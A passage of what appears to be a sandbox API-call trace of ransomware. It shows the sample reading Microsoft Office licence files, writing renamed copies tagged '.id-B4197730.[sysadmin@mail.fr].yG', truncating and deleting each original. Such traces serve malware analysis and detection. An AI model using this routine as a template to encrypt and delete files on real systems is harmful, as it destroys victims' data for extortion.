	[0176.523] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0176.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ppd.xrm-ms") returned 83
	[0176.524] lstrlenW (lpString=".jpg") returned 4
	[0176.524] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0176.524] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=24369) returned 1
	[0176.524] CloseHandle (hObject=0x29c) returned 1
	[0176.524] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial4-ppd.xrm-ms")) returned 0x220
	[0176.524] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial4-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0176.525] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial4-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0176.542] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.542] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.542] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial4-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a8
	[0176.544] GetLastError () returned 0x0
	[0176.544] ReadFile (in: hFile=0x29c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x5f31, lpOverlapped=0x0) returned 1
	[0176.546] WriteFile (in: hFile=0x2a8, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x5f40, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x5f40, lpOverlapped=0x0) returned 1
	[0176.548] ReadFile (in: hFile=0x29c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0176.548] WriteFile (in: hFile=0x2a8, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x116, lpOverlapped=0x0) returned 1
	[0176.548] SetEndOfFile (hFile=0x2a8) returned 1
	[0176.548] CloseHandle (hObject=0x2a8) returned 1
	[0176.548] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.548] SetEndOfFile (hFile=0x29c) returned 1
	[0176.552] CloseHandle (hObject=0x29c) returned 1
	[0176.553] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0176.553] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial4-ppd.xrm-ms")) returned 1
	[0176.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ppd.xrm-ms") returned 83
	[0176.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ppd.xrm-ms") returned 83
	[0176.554] lstrlenW (lpString=".doc") returned 4
	[0176.554] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0176.554] lstrlenW (lpString=".docx") returned 5
	[0176.554] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0176.554] lstrlenW (lpString=".pdf") returned 4
	[0176.554] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0176.554] lstrlenW (lpString=".xls") returned 4
	[0176.554] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0176.554] lstrlenW (lpString=".xlsx") returned 5
	[0176.554] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0176.555] lstrlenW (lpString=".ppt") returned 4
	[0176.555] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0176.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ppd.xrm-ms") returned 83
	[0176.555] lstrlenW (lpString=".zip") returned 4
	[0176.555] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0176.555] lstrlenW (lpString=".rar") returned 4
	[0176.555] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0176.555] lstrlenW (lpString=".bz2") returned 4
	[0176.555] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0176.555] lstrlenW (lpString=".7z") returned 3
	[0176.555] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0176.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ppd.xrm-ms") returned 83
	[0176.555] lstrlenW (lpString=".dbf") returned 4
	[0176.555] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0176.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ppd.xrm-ms") returned 83
	[0176.555] lstrlenW (lpString=".1cd") returned 4
	[0176.555] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0176.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial4-ppd.xrm-ms") returned 83
	[0176.555] lstrlenW (lpString=".jpg") returned 4
	[0176.555] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0176.556] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=11179) returned 1
	[0176.556] CloseHandle (hObject=0x29c) returned 1
	[0176.556] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial5-pl.xrm-ms")) returned 0x220
	[0176.556] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial5-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0176.556] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial5-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0176.557] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.557] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.557] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial5-pl.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a8
	[0176.558] GetLastError () returned 0x0
	[0176.559] ReadFile (in: hFile=0x29c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x2bab, lpOverlapped=0x0) returned 1
	[0176.561] WriteFile (in: hFile=0x2a8, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x2bb0, lpOverlapped=0x0) returned 1
	[0176.562] ReadFile (in: hFile=0x29c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0176.562] WriteFile (in: hFile=0x2a8, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x114, lpOverlapped=0x0) returned 1
	[0176.563] SetEndOfFile (hFile=0x2a8) returned 1
	[0176.563] CloseHandle (hObject=0x2a8) returned 1
	[0176.563] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.563] SetEndOfFile (hFile=0x29c) returned 1
	[0176.567] CloseHandle (hObject=0x29c) returned 1
	[0176.567] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-pl.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0176.567] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial5-pl.xrm-ms")) returned 1
	[0176.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-pl.xrm-ms") returned 82
	[0176.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-pl.xrm-ms") returned 82
	[0176.568] lstrlenW (lpString=".doc") returned 4
	[0176.568] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0176.568] lstrlenW (lpString=".docx") returned 5
	[0176.569] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0176.569] lstrlenW (lpString=".pdf") returned 4
	[0176.569] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0176.569] lstrlenW (lpString=".xls") returned 4
	[0176.569] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0176.569] lstrlenW (lpString=".xlsx") returned 5
	[0176.569] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0176.569] lstrlenW (lpString=".ppt") returned 4
	[0176.569] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0176.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-pl.xrm-ms") returned 82
	[0176.569] lstrlenW (lpString=".zip") returned 4
	[0176.569] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0176.569] lstrlenW (lpString=".rar") returned 4
	[0176.569] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0176.569] lstrlenW (lpString=".bz2") returned 4
	[0176.569] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0176.569] lstrlenW (lpString=".7z") returned 3
	[0176.569] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0176.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-pl.xrm-ms") returned 82
	[0176.569] lstrlenW (lpString=".dbf") returned 4
	[0176.569] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0176.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-pl.xrm-ms") returned 82
	[0176.569] lstrlenW (lpString=".1cd") returned 4
	[0176.569] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0176.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-pl.xrm-ms") returned 82
	[0176.569] lstrlenW (lpString=".jpg") returned 4
	[0176.570] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0176.570] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=24369) returned 1
	[0176.570] CloseHandle (hObject=0x29c) returned 1
	[0176.572] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial5-ppd.xrm-ms")) returned 0x220
	[0176.573] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial5-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0176.573] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial5-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0176.574] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.574] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.574] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial5-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a8
	[0176.575] GetLastError () returned 0x0
	[0176.575] ReadFile (in: hFile=0x29c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x5f31, lpOverlapped=0x0) returned 1
	[0176.626] WriteFile (in: hFile=0x2a8, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x5f40, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x5f40, lpOverlapped=0x0) returned 1
	[0176.628] ReadFile (in: hFile=0x29c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0176.628] WriteFile (in: hFile=0x2a8, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x116, lpOverlapped=0x0) returned 1
	[0176.628] SetEndOfFile (hFile=0x2a8) returned 1
	[0176.628] CloseHandle (hObject=0x2a8) returned 1
	[0176.628] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.628] SetEndOfFile (hFile=0x29c) returned 1
	[0176.632] CloseHandle (hObject=0x29c) returned 1
	[0176.632] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0176.959] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial5-ppd.xrm-ms")) returned 1
	[0176.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ppd.xrm-ms") returned 83
	[0176.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ppd.xrm-ms") returned 83
	[0176.960] lstrlenW (lpString=".doc") returned 4
	[0176.960] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0176.960] lstrlenW (lpString=".docx") returned 5
	[0176.960] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0176.961] lstrlenW (lpString=".pdf") returned 4
	[0176.961] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0176.961] lstrlenW (lpString=".xls") returned 4
	[0176.961] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0176.961] lstrlenW (lpString=".xlsx") returned 5
	[0176.961] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0176.961] lstrlenW (lpString=".ppt") returned 4
	[0176.961] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0176.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ppd.xrm-ms") returned 83
	[0176.961] lstrlenW (lpString=".zip") returned 4
	[0176.961] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0176.961] lstrlenW (lpString=".rar") returned 4
	[0176.961] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0176.961] lstrlenW (lpString=".bz2") returned 4
	[0176.961] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0176.961] lstrlenW (lpString=".7z") returned 3
	[0176.961] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0176.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ppd.xrm-ms") returned 83
	[0176.961] lstrlenW (lpString=".dbf") returned 4
	[0176.961] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0176.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ppd.xrm-ms") returned 83
	[0176.961] lstrlenW (lpString=".1cd") returned 4
	[0176.961] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0176.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial5-ppd.xrm-ms") returned 83
	[0176.961] lstrlenW (lpString=".jpg") returned 4
	[0176.961] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0176.962] GetFileSizeEx (in: hFile=0x3fc, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=23776) returned 1
	[0176.962] CloseHandle (hObject=0x3fc) returned 1
	[0176.962] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_grace-ppd.xrm-ms")) returned 0x220
	[0176.998] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_grace-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0176.999] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc
	[0176.999] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.999] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.999] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_grace-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0177.000] GetLastError () returned 0x0
	[0177.001] ReadFile (in: hFile=0x3fc, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x5ce0, lpOverlapped=0x0) returned 1
	[0177.015] WriteFile (in: hFile=0x530, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x5cf0, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x5cf0, lpOverlapped=0x0) returned 1
	[0177.017] ReadFile (in: hFile=0x3fc, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0177.017] WriteFile (in: hFile=0x530, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x118, lpOverlapped=0x0) returned 1
	[0177.017] SetEndOfFile (hFile=0x530) returned 1
	[0177.017] CloseHandle (hObject=0x530) returned 1
	[0177.017] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.017] SetEndOfFile (hFile=0x3fc) returned 1
	[0177.021] CloseHandle (hObject=0x3fc) returned 1
	[0177.021] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0177.022] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_grace-ppd.xrm-ms")) returned 1
	[0177.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ppd.xrm-ms") returned 84
	[0177.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ppd.xrm-ms") returned 84
	[0177.023] lstrlenW (lpString=".doc") returned 4
	[0177.023] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0177.023] lstrlenW (lpString=".docx") returned 5
	[0177.023] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0177.023] lstrlenW (lpString=".pdf") returned 4
	[0177.023] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0177.023] lstrlenW (lpString=".xls") returned 4
	[0177.023] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0177.023] lstrlenW (lpString=".xlsx") returned 5
	[0177.023] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0177.023] lstrlenW (lpString=".ppt") returned 4
	[0177.023] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0177.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ppd.xrm-ms") returned 84
	[0177.023] lstrlenW (lpString=".zip") returned 4
	[0177.023] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0177.023] lstrlenW (lpString=".rar") returned 4
	[0177.023] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0177.023] lstrlenW (lpString=".bz2") returned 4
	[0177.023] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0177.023] lstrlenW (lpString=".7z") returned 3
	[0177.023] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0177.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ppd.xrm-ms") returned 84
	[0177.024] lstrlenW (lpString=".dbf") returned 4
	[0177.024] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0177.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ppd.xrm-ms") returned 84
	[0177.024] lstrlenW (lpString=".1cd") returned 4
	[0177.024] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0177.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Grace-ppd.xrm-ms") returned 84
	[0177.024] lstrlenW (lpString=".jpg") returned 4
	[0177.024] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0177.025] GetFileSizeEx (in: hFile=0x3fc, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=27735) returned 1
	[0177.025] CloseHandle (hObject=0x3fc) returned 1
	[0177.025] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription1-ppd.xrm-ms")) returned 0x220
	[0177.025] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription1-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription1-ppd.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
